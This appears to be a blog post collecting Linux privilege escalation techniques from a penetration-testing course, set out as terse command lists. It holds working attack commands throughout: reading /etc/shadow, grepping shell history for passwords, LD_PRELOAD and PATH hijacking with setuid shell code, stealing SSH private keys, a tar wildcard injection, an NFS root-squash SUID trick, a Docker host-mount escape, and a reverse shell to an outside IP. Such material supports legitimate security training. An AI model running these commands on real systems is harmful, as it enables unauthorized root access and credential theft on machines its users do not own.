Linux Privilege Escalation Jutsus
Introduction
This is a list of Linux Privilege Escalation jutsus I am collecting. Most originated from TCM's Linux Priv Esc course.
1. linpeas.sh
Link here: linpeas.sh on Github
2. Linux Exploit Suggester
Link here: linux-exploit-suggester.py on Github
Works like Windows-Exploit-Suggester. It will find Kernel exploits you can potentially use.
2.5 pspy32
You can run ./pspy32 to see what background processes are running. Even for root. Use this if your running out of ideas.
3. Scripts Misc.
3.1 Weak File Permissions
- cat /etc/shadow
- Copy /etc/passwd and /etc/shadow. Commands in screenshot.
3.2 History
- cat ~/.bash_history | grep -i passw
- history
3.3 Files the User Owns
- find / -user jimmy -ls 2>/dev/null
- This could lead to a hint of where to go.
4. Kernel Exploits
4.1 Dirtyc0w CVE-2016-5195
- Download from here: c0w.c
4.2 Ubuntu 16.04.4 CVE-2017-16995
5.0 Sudo Escalation
5.1 Sudo Shell Escaping
- sudo -l
- GTFOBins
5.2 Intended Functionality
- sudo -l (say apache2 shows up)
- Google sudo apache2 privilege escalation
- Although no shell, you can do apache2 -f /etc/shadow
- Or using wget to send shadow file: Sunday Walkthrough
5.3 LD_PRELOAD
- Take ld_preload_shell.c from here
- gcc -fPIC -shared -o shell.so shell.c -nostartfiles
- sudo LD_PRELOAD=/home/user/shell.so apache2
- Pick ANY program that you can run as sudo -l. apache2 used as example.
5.4 Inverse Root (ALL, !root) /bin/bash CVE-2019-14287
5.5 pwfeedback **** CVE-2019-18634
6.0 SUID
- find / -perm -4000 2>/dev/null
- Suid3num python script
- GTFOBins
6.1 Shared Object Injection
- ls -lah /usr/local/bin/suid-so
- strace /usr/local/bin/suid-so 2>&1
- Find "No such file or directory"
- strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
- Get libcalc.c file here.
- gcc -shared -fPIC libcalc.c -o libcalc.so
6.2 Environment Variables
Relative Path
- find / -perm -4000 2>/dev/null
- /usr/bin/local/suid-env
- strings /usr/local/bin/suid-env
- echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0;}' > /tmp/service.c
- gcc /tmp/service.c -o /tmp/service
- export PATH=/tmp:$PATH
- print $PATH
- /usr/local/bin/suid-env
--- OR ---
Full Path
- strings /usr/local/bin/suid-env2
- function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
- export -f /usr/sbin/service
- /usr/local/bin/suid-env2
7. SSH Keys
Detection
- find / -name authorized_keys 2>/dev/null
- find / -name id_rsa 2>/dev/null
Exploitation
- Save the SSH key to Kali.
- chmod 600 id_rsa
- ssh -i id_rsa root@10.10.3.11
8. Scheduled Tasks/Cron
- cat /etc/crontab
- crontab -l
- systemctl list-timers all
8.1 Escalation via Cron Paths
- Overwrite a file. Screenshot above.
8.1 Escalation via Wildcards
- echo "bash -i >& /dev/tcp/10.2.43.23/4444 0>&1" > runme.sh
- echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" > runme.sh
- chmod +x runme.sh
- echo "" > "--checkpoint-action=exec=sh runme.sh"
- echo "" > --checkpoint=1
- Note: for tar. Use the two commands up above instead of the screenshot. I'll fix the screenshot once I get access again.
9. NFS Root Squashing
- cat /etc/exports
- sudo -i MUST BE ROOT ON KALI
- Kali# sudo showmount -e 10.10.79.14
- mkdir /tmp/mountit
- sudo mount -o rw,vers=2 10.10.218.184:/tmp /tmp/mountit
- echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0;}' > /tmp/mountit/x.c
- gcc /tmp/mountit/x.c -o /tmp/mountit/x
- chmod +s /tmp/mountit/x
- Go back to TCM and execute x
10. Capabilities
- getcap -r / 2>/dev/null
- GTFOBins Capabilities
11. Docker
- linPEAS.sh will point out Docker vuln.
- docker run -v /:/mnt --rm -it bash chroot /mnt sh
12. Python Import Statements
If a cronjob is running and you can't edit the python script itself, go after a library. Append a reverse shell to the end.
Comments
Post a Comment